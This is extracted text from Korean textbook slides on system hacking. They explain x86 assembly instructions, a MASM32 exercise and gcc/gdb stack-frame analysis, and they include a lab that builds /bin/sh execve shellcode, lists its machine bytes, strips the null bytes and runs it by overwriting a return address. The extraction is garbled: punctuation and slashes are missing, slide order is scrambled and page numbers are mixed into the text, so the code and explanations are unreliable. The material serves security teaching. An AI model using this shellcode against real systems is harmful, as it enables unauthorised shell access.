call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 31: 80×86  시스템에 대한 이해

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

